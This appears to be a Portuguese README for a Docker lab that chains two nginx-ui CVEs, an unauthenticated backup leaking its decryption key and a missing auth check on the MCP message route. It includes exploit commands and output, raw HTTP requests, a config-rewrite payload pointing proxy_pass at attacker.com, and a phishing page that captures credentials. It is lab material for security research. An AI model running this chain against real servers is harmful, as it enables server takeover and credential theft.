
Docker Compose setup para demonstrar a vulnerabilidade de autenticação ausente no nginx-ui
Aviso: Este repositório destina-se exclusivamente a fins educacionais e de pesquisa de segurança autorizada. Todas as técnicas demonstradas aqui devem ser usadas apenas contra sistemas que você possui ou para os quais possui permissão explícita por escrito para testar. Os autores não se responsabilizam por uso indevido. Não execute isto contra qualquer sistema sem autorização.
Um laboratório autossuficiente em Docker Compose que demonstra uma cadeia de duas CVEs contra o nginx-ui v2.3.1, alcançando a tomada total do nginx com zero conhecimento prévio — sem nomes de usuário, sem senhas, sem tokens.
GET /api/backup não requer autenticação. O endpoint retorna um backup criptografado completo da instalação do nginx-ui — incluindo app.ini — e envia a chave de descriptografia AES-256-CBC e o IV em texto puro no cabeçalho da resposta:
X-Backup-Security: <base64_key>:<base64_iv>
Do código-fonte (api/backup/router.go):
r.GET("/backup", CreateBackup) // ❌ sem middleware
r.POST("/restore", middleware.EncryptedForm(), RestoreBackup)
A descriptografia do backup produz o app.ini, que contém o [node] Secret necessário para a Etapa 2.
| CVE | CVE-2026-27944 (GHSA-g9w5-qffc-6762) |
| CVSS | 9.8 Crítico |
| Afetado | nginx-ui < 2.3.2 |
| Corrigido em | nginx-ui 2.3.3 |
O nginx-ui v2.3.x adicionou uma interface Model Context Protocol (MCP) expondo 12 ferramentas de gerenciamento do nginx. O bug é uma única chamada de middleware ausente em mcp/router.go:
r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), ...)
r.Any("/mcp_message", middleware.IPWhiteList(), ...) // ❌ AuthRequired() AUSENTE
Com um sessionId obtido por meio do segredo do nó, um atacante pode enviar POST para /mcp_message sem credenciais de usuário e invocar qualquer ferramenta privilegiada — incluindo nginx_config_modify e reload_nginx.
| CVE | CVE-2026-33032 |
| Alias | MCPwn (Pluto Security) |
| CVSS | 9.8 Crítico |
| Afetado | nginx-ui ≤ 2.3.3 |
| Corrigido em | nginx-ui 2.3.4 |
┌──────────────────────────────────────────────────────────┐
│ Navegador │
│ http://localhost:8080 ──► nginx_ui (:80) │
│ │ │
│ Atacante ▼ │
│ http://localhost:9000 ──► nginx_ui (:9000) VULNERÁVEL │
│ (sem credenciais) uozi/nginx-ui:v2.3.1 │
│ │
│ ┌─────────────────────────┐ │
│ │ webapp (verde) │ formulário de │
│ │ proxy_pass padrão │ login legítimo │
│ └─────────────────────────┘ │
│ ┌─────────────────────────┐ │
│ │ malicious_site (vermelho)│ clone de │
│ │ proxy_pass após ataque │ phishing │
│ └─────────────────────────┘ │
└──────────────────────────────────────────────────────────┘
O nginx-ui inclui sua própria instância do nginx. Quando o exploit chama reload_nginx via MCP, ele recarrega o mesmo nginx que serve tráfego na porta :8080 — sem necessidade de acesso ao host.
Requisitos: Docker + Docker Compose + Python 3.10+
git clone <repo-url>
cd nginx-ui-vuln-lab
docker compose up -d
| URL | |
|---|---|
http://localhost:8080 | Site da vítima — verde (legítimo) |
http://localhost:9000 | Painel administrativo do nginx-ui |
pip install -r exploit/requirements.txt
python3 exploit/exploit.py --url http://localhost:9000
O script encadeia ambas as CVEs sem credenciais prévias:
==============================================================
CVE-2026-27944 + CVE-2026-33032 — RCE sem Credenciais no nginx-ui
Alvo : http://localhost:9000
==============================================================
[*] CVE-2026-27944 — baixando backup (sem autenticação)
[+] Chave AES+IV do cabeçalho: kW3pCR7RLawHFVeF...:oTr+K3Bd...
[+] Segredo do nó extraído: 605f228e-2480-49ec-8dd2-045d8d8a073f
[*] CVE-2026-33032 — abrindo sessão MCP sem autenticação (GET /mcp)
[+] sessionId: ee83906e-ee26-4d65-83f8-91d62b00770a
[*] Reconhecimento — lendo configuração atual
[+] Atual: proxy_pass http://webapp:80;
[*] Sobrescrevendo default.conf via POST /mcp_message (sem autenticação)
[+] Novo: proxy_pass http://malicious_site:80;
[*] Recarregando nginx via POST /mcp_message (sem autenticação)
[+] nginx recarregado — configuração ativa
[!] Ataque concluído.
As vítimas em http://localhost:8080/ agora recebem a página de phishing.
Veja as credenciais capturadas: http://localhost:8080/?debug=1
Após o exploit, http://localhost:8080 muda da página legítima verde para o clone de phishing vermelho — na mesma URL, sem qualquer indicação para a vítima.
Abra http://localhost:8080/?debug=1 para revelar o painel do atacante e ver as credenciais capturadas em tempo real.
python3 exploit/exploit.py --url http://localhost:9000 --reset
Usa a mesma cadeia de CVEs para restaurar a configuração original e recarregar o nginx.
GET /api/backup HTTP/1.1
Host: alvo:9000
Resposta:
HTTP/1.1 200 OK
X-Backup-Security: <base64_key>:<base64_iv>
Content-Type: application/zip
Descriptografe o zip com a chave/IV fornecidos → extraia app.ini → leia [node] Secret.
Requisição 1 — Abrir sessão SSE (segredo do nó, sem autenticação de usuário):
GET /mcp?node_secret=<uuid>
O fluxo SSE responde com um sessionId.
Requisição 2+ — Invocar ferramentas (sem autenticação alguma):
POST /mcp_message?sessionId=<uuid>
Content-Type: application/json
{
"jsonrpc": "2.0", "id": 1, "method": "tools/call",
"params": {
"name": "nginx_config_modify",
"arguments": {
"relative_path": "default.conf",
"content": "server { location / { proxy_pass http://attacker.com; } }",
"sync_overwrite": false
}
}
}
Sem cabeçalho Authorization. Sem cookie. AuthRequired() está simplesmente ausente na rota /mcp_message.
| Ferramenta | Impacto |
|---|---|
nginx_config_modify | Sobrescrever qualquer arquivo de configuração |
nginx_config_add | Criar novos arquivos de configuração |
nginx_config_get | Ler qualquer arquivo de configuração |
nginx_config_list | Listar todas as configurações |
nginx_config_enable/disable | Ativar/desativar configurações de sites |
nginx_config_rename | Mover/renomear arquivos de configuração |
nginx_config_mkdir | Criar diretórios |
nginx_config_history | Visualizar histórico de alterações |
nginx_config_base_path | Revelar caminho raiz das configurações |
nginx_status | Verificar status do nginx |
reload_nginx | Aplicar alterações de configuração em tempo real |
restart_nginx | Reinicialização completa do nginx |
[node] IPWhiteList não vazio em app.ini para restringir o acesso MCP a IPs específicos/etc/nginx/conf.d/ com monitoramento de integridade de arquivos (auditd, Wazuh, etc.)